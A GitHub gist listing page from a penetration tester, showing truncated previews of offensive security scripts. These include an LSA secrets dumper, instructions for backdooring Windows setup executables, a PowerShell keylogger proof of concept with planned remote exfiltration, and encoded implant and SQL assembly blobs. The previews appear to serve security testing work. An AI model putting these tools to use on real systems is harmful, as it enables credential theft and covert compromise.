Skip to content

Instantly share code, notes, and snippets.

View nullbind's full-sized avatar

Scott Sutherland nullbind

View GitHub Profile
@nullbind
nullbind / lsasecretsdump-csharp.cs
Last active March 1, 2018 12:31
lsasecretsdump-csharp-workinprogress
using System;
using System.Text;
using System.Security.Principal;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace lsautil
{
// https://msdn.microsoft.com/en-us/library/microsoft.win32.registry(v=vs.110).aspx
@nullbind
nullbind / Find-DbaSqlInstance Mock Up
Last active August 15, 2017 14:17
Find-DbaSqlInstance Mock Up
Function Find-DbaSqlInstance
{
<#
.SYNOPSIS
This function can be used to enumerate SQL Server instances using common methods.
.EXAMPLE
Check if the provided computer(s) or instance(s) respond to ping.
@nullbind
nullbind / BackDoor Setup Exe
Last active March 17, 2024 22:40
BackDoor Setup Exe
Author: Scott Sutherland, 2017
Descript: Summary of how to backdoor an existing setup file in Windows.
Note: Not sure if anyone covered this already? Seems kind of like a Casey Smith thing.
How to Backdoor Existing Setup Files by Modifying Config Files Stored in RCData
In this example, the lyncsdk.exe will be used. It can be download here: https://www.microsoft.com/en-us/download/details.aspx?id=36824
lyncentry.exe also works as an example.
Below are some basic instructions.
@nullbind
nullbind / encryptdecryptfunction-cow.cs
Last active October 15, 2018 19:40
encryptdecryptfunction-cow.cs
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Security.Cryptography;
using System.IO;
using System.Diagnostics;
using System.Text;
@nullbind
nullbind / newcowenc.sql
Last active October 15, 2018 19:40
newcowenc
-- Change the assembly name to the one you want to replace
CREATE ASSEMBLY [CommonLib] FROM
0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103009D50D2590000000000000000E00002210B010B000012000000060000000000000E300000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000B42F00005700000000400000A802000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000014100000002000000012000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000140000000000000000000000000000400000402E72656C6F6300000C
@nullbind
nullbind / invoke-mavisbeacon.ps1
Last active February 24, 2020 03:25
invoke-mavisbeacon.ps1
# This is a rough PoC based on https://www.tarlogic.com/en/blog/how-to-create-keylogger-in-powershell/
# Logging to file works
# Timer doesnt work (start runspace and kill it after a timeout)
# HTTP exfil doesnt work (add post function)
Function Invoke-MavisBeacon
{
<#
.SYNOPSIS
This is a script of logging keys to a file and sending them to a remote URL. Mostly, it just a joke
@nullbind
nullbind / standalone wmi provider test
Last active May 1, 2019 20:08
standalone wmi provider test
# This is a stand alone script to create a basic WMI provider for testing detective controls
# Author: Scott Sutherland, @_nullbind, NetSPI 2017
# -----------------------------------
# Setup and Compile WMI Provider DLL
# -----------------------------------
# Status user
write-output " * Generating WMI provider C# Code"
@nullbind
nullbind / WheresMyImplant.ps1
Last active July 6, 2018 12:17
WheresMyImplant.ps1
# This is just a basic PowerShell wrapper for Alexander Leary's WheresMyImplant.dll.
# Source: https://github.com/0xbadjuju/WheresMyImplant/releases
# Note: This was hacked together for the sake of portability.
# Note: To refresh WheresMyImplant.dll do the following:
# $WMIBytes = [System.IO.File]::ReadAllBytes("C:\temp\WheresMyImplant.dll")
# $WMIString = [System.Convert]::ToBase64String($WMIBytes)
# Todo: Write wrapper functions in PowerShell, aaand maybe compress it :). In the meantime a RunCMD method example is below. Create test files and pester tests.
# The WheresMyImplant.dll
$WMIString = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANqo8FkAAAAAAAAAAOAAAiELAQgAABoBAAAGAAAAAAAA7jgBAAAgAAAAQAEAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAQAAAgAA7TQBAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJg4AQBTAAAAAEABADgDAAAAAAAAAAAAAAAAAAAAAAAAAGABAAwAAAAAOAEAHAAAAAAAAAAAAAAAAAA
@nullbind
nullbind / PowerUpSQL_GUI2
Last active February 19, 2018 15:17
PowerUpSQL_GUI2
# --------------------------------------------
# Create Form
# --------------------------------------------
# Create primary form
Add-Type -AssemblyName System.Windows.Forms
$Form = New-Object system.Windows.Forms.Form
$Form.Text = ""
#$Form.Opacity = 0.98 # 1.0 is fully opaque; 0.0 is invisible
@nullbind
nullbind / Get-SQLDomainUser Update
Last active May 9, 2018 12:37
Get-SQLDomainUser Update
# ----------------------------------
# Get-SQLDomainUser
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLDomainUser
{
<#
.SYNOPSIS
Using the OLE DB ADSI provider, query Active Directory for a list of domain users
via the domain logon server associated with the SQL Server. This can be